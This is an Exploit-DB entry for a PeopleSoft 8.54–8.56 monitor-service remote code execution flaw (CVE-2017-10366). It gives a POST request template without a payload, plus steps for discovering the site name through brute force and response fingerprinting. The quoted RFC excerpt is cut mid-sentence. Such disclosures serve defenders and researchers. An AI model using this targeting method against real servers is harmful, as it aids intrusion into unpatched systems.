Oracle PeopleSoft 8.5x - Remote Code Execution

EDB-ID: 43594
Author: Vahagn Vardanyan
Published: 2018-01-15
CVE: CVE-2017-10366
Type: Webapps
Platform: Java
Vulnerable App: N/A

 # Date: 30 Oct 2017 
# Exploit Author: Vahagn Vardanyan
# Vendor Homepage: Oracle
# Software Link: Oracle PeopleSoft
# Version: 8.54, 8.55, 8.56
# Tested on: Windows, Linux
# CVE : CVE-2017-10366

The RCE vulnerability present in monitor service of PeopleSoft 8.54, 8.55, 8.56.

POST /monitor/%SITE_NAME% HTTP/1.1
Host: PeopleSoft:PORT
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0)
Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close


%SITE_NAME% - is a PeopleSoft "name" to get it you can use some information
disclosure or brute force. information for automation detection:

1. If monitor component deployed and you don't know %SITE_NAME% then
will get this type of error

<h2>Site name is not valid. Check your URL syntax and try again.</h2>

1. If %SITE_NAME% is true then you will get this message


Ping Test for Monitor Servlet

Ping successful. Site %SITE_NAME% is valid.

1. If monitor don't deployed then you will get this message

Error 404--Not Found

From RFC 2068 Hypertext Transfer Protocol -- HTTP/1.1:

10.4.5 404 Not Found

The server has not found anything matching the Request-URI. No
indication is given of whether the condition is temporary or

If the server does not wish to make this information available to the
client, the status code 403 (Forbidden) can be used instead. The 410
(Gone) status code SHOULD be used if the server knows, through some
internally configurable mechanism, that an old resource is permanently
unavailable and has no forwarding address.

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